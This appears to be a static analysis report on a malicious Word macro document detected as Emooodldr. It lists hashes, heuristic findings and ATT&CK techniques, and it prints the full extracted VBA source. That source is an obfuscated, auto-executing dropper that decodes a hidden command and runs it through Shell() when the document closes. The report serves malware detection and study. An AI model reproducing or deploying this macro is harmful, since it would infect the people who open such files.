Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 eeb435abd819f5ec…

MALICIOUS

Office (OOXML)

90.1 KB Created: 2017-05-22 22:37:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-04-18
MD5: 151c2c242a9ee4e72a0731df6f56c921 SHA-1: dc98c1d9f891b5292cc4e8d8d8d63702d516f996 SHA-256: eeb435abd819f5ec850aba835f52125beba9d45e3d86ac0000eafc27f9844dc8
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing VBA macros, specifically an Auto_Close macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary code, likely to download and run a second-stage payload. ClamAV detections confirm the malicious nature and identify it as Emooodldr.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4052 bytes
SHA-256: 222708ce54c55b581fb7e6bdfe5c92540a29c0f46c2d5ec7099cdc4cfc6f1569
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

Const ossudo = 3


Public Function suruba(cozinheiro As String)
  Dim gaviao As String
  Dim ebrio As Integer
  gaviao = "ABCDE"
  
  For ebrio = 1 To 5
    If Mid(gaviao, ebrio, 1) = cozinheiro Then
       suruba = ebrio - 1
    End If
    
  Next
  
End Function

Public Function ficticio()
  Dim ufologo
  ufologo = ""

  ufologo = "3e$tszgsvmipn2i|h""."

  ufologo = ufologo & "qtt$/I|if""C|uewu$1G"
  ufologo = ufologo & "rondsh$*Ri{0Qcmjgx"""
  ufologo = ufologo & "W}wwgn1Six0[ifFnjhsx"
  ufologo = ufologo & "-0Hs{qnpdiJmni,+kvus"

  ufologo = ufologo & "?33pflzqhiusqg0gsq2n"


  ufologo = ufologo & "joz3tkx2fdm(/%(ipz>E"
  ufologo = ufologo & "SREDYE$-$+`HNt\p2izi"
  ufologo = ufologo & "+->""Twfvx/Tvsfgtv%("


  ufologo = ufologo & "ipz>ESREDYE+^IPw\m/h"
  ufologo = ufologo & "}i+=$,Rhy.Rgniex$W|u"
  ufologo = ufologo & "uhr2Rgx2[hdDonirv-2H"


  ufologo = ufologo & "ryootehUxvmqi)*mxxr>"
  ufologo = ufologo & "33qdiysjltrqg1epp4w2"
  ufologo = ufologo & "rltClf>snx++"


  ficticio = ufologo

End Function

Public Function vaporoso(tibia As Integer, gaelico As Integer) As Integer
  vaporoso = Int(tibia - gaelico - 1)
End Function

Public Function lombriga(tostar As String, punk As Integer) As String
   Dim ajoelhar As Integer
   Dim tautologico As String
   tautologico = tostar
   
   Dim dasein As Integer
   dasein = 0
   
   For ajoelhar = (LenB(tostar) / 2) To punk - 1
     If dasein = (LenB(tostar) / 2) Then
       dasein = 0
     End If
     
     tautologico = tautologico & Mid(tostar, dasein + 1, 1)
     
     dasein = dasein + 1
   Next
   
   lombriga = tautologico
End Function

Public Function taxionomista(midia As String, arlequim As String) As String
  arlequim = lombriga(arlequim, Len(midia))
  
  Dim sacudir
  Dim sogro As Integer
  Dim povoar As Integer
  Dim injusto As String
  injusto = ""
  
  For sacudir = 1 To Len(midia)
    sogro = suruba(Mid(arlequim, sacudir, 1))
    povoar = Asc(Mid(midia, sacudir, 1))
    injusto = injusto & Chr(vaporoso(povoar, sogro)) & ""
    
  Next
  
  taxionomista = injusto
  
End Function

Public Function damista(rafia As String)
  Dim eivar As String
  eivar = taxionomista("foe/i}f", "CBAADEAACAB")
  Call Shell(eivar & " " & rafia, ossudo - 3)
End Function

Public Function deuteronomio(eivar As String)
  eivar = Replace(eivar, "", "")
  Call damista(eivar)
End Function

Public Sub rasurar()
  Dim pistoleiro As String
  pistoleiro = "DBDDDCBACED"
  Application.Run "deuteronomio", taxionomista(ficticio() & "", pistoleiro)
End Sub

Sub AutoClose()
  Application.Run "rasurar"
End Sub

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{C4B1BD5B-4967-42C7-9CBC-6E1CEB566065}{B449176C-558C-439B-B9D8-E329EE781C79}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{0773167F-41CA-4CED-954F-F3C307DE2E78}{46018A7A-3535-4930-8512-0D797AEFD683}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25088 bytes
SHA-256: 516e1f1832c84bc4c58f77773dd53fa89118673fdaf915fb583ddcedd17592f7
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.